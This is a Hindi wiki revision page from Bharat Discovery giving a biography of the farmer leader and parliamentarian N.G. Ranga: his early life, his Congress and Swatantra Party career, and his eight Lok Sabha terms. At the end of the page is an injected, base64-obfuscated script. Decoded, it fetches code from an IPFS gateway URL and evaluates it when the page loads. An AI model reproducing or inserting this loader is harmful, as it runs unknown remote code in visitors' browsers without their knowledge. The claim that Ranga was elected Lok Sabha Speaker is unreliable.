एन.जी. रंगा: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
Line 21: Line 21:
[[Category:चरित कोश]]
[[Category:चरित कोश]]
__INDEX__
__INDEX__
__NOTOC__

Revision as of 07:00, 26 August 2012

एन.जी. रंगा एक प्रमुख कृषक नेता तथा सांसद थे। इनका कार्यक्षेत्र आन्ध्र प्रदेश था। ये आरम्भ से ही किसानों की समस्याओं से जुड़े रहे। इन्होंने किसानों के शोषण के विरूद्ध आवाज़ उठाई तथा उन्हें संगठित किया।

जीवन परिचय

प्रसिद्ध समाजवादी और कृषक नेता एन. जी. रंगा का जन्म आन्ध्र प्रदेश के गुंटूर ज़िले में 7 नवम्बर, 1900 ई. को हुआ था। बचपन में ही माता-पिता का निधन हो जाने के कारण विधवा चाची ने उनका पालन-पोषण किया। गुंटूर में स्नातक की शिक्षा पूरी करने के बाद वे आई. सी. एस. की परीक्षा देने के उद्देश्य से 1920 में इंग्लैण्ड गए। परन्तु ऑक्सफ़ोर्ड विश्वविद्यालय में जी. डी. एच. कोल, ब्रेल्सफ़ोर्ड, रेडफ़ोर्ड जैसे समाजवादी विचारकों के प्रभाव में आकर रंगा ने अपने विचार बदल लिए और उन्होंने साहित्य की डिग्री ली। रंगा के ऊपर विपिन चन्द्र पाल तथा अन्य क्रान्तिकारियों के साथ-साथ प्राचीन भारतीय साहित्य, रामायण, महाभारत का भी प्रभाव पड़ा। भारत लौटने पर उन्होंने मद्रास के कॉलेज में अध्यापन का कार्य आरम्भ किया। किन्तु शीघ्र ही उसे छोड़कर स्वतंत्रता संग्राम में और किसानों को संगठित करने के काम में जुट गए। वे अखिल भारतीय कांग्रेस कमेटी के सदस्य और आन्ध्र प्रदेश कांग्रेस कमेटी के अध्यक्ष बने।

राजनीति में

वे कृषि उत्पादकों के अंतर्राष्ट्रीय सम्मेलन के संस्थापक सदस्य थे। स्वतंत्रता संग्राम में भाग लेने के कारण उन्हें कई बार जेल की सज़ाएँ भी भोगनी पड़ीं। उन्होंने 1927 से 1930 तक मद्रास विश्वविद्यालय में और 1980 में आन्ध्र विश्वविद्यालय में अध्यापन का काम किया था। इससे वे प्रोफ़ेसर रंगा कहलाते थे। राजगोपालाचारी के साथ 1959 में रंगा ‘स्वतंत्र पार्टी’ में सम्मिलित हुए और उसके अध्यक्ष बने। वे लोकसभा के अध्यक्ष चुने गए और वहाँ अपने दल के नेता रहे। 1973 में उन्होंने ‘स्वतंत्र पार्टी’ छोड़ दी और फिर से कांग्रेस में आ गए। समाज सुधार के क्षेत्र में भी वे अग्रणी रहे। 1923 में उन्होंने अपने घर का कुआँ हरिजनों के लिए खोल दिया। महिलाओं को आगे बढ़ाने का सदा समर्थन करते रहे। आन्ध्र प्रदेश को अलग राज्य बनाने के आन्दोलन के भी वे प्रमुख नेता थे।

विशेष बिन्दु

  • इन्होंने 1931 ई. में आन्ध्र प्रदेश रैयत सभा की स्थापना की।
  • ये कांग्रेस समाजवादी पार्टी से उसकी स्थापना के साथ ही जुड़ गए।
  • इन्होंने आन्ध्र प्रदेश के नीदुब्रोलु कस्बे में ‘इण्डियन पेजेण्ट इन्स्टीट्यूट’ की स्थापना की, जिसका मुख्य उद्देश्य किसान कार्यकलापों को प्रशिक्षण देना था।
  • स्वतन्त्रता प्राप्ति के पश्चात वे लोकसभा के सदस्य बने तथा लगातार आठ बार लोकसभा के लिए चुने गए, जो कीर्तिमान है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

नागोरी, डॉ. एस.एल. “खण्ड 3”, स्वतंत्रता सेनानी कोश (गाँधीयुगीन), 2011 (हिन्दी), भारतडिस्कवरी पुस्तकालय: गीतांजलि प्रकाशन, जयपुर, पृष्ठ सं 84।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>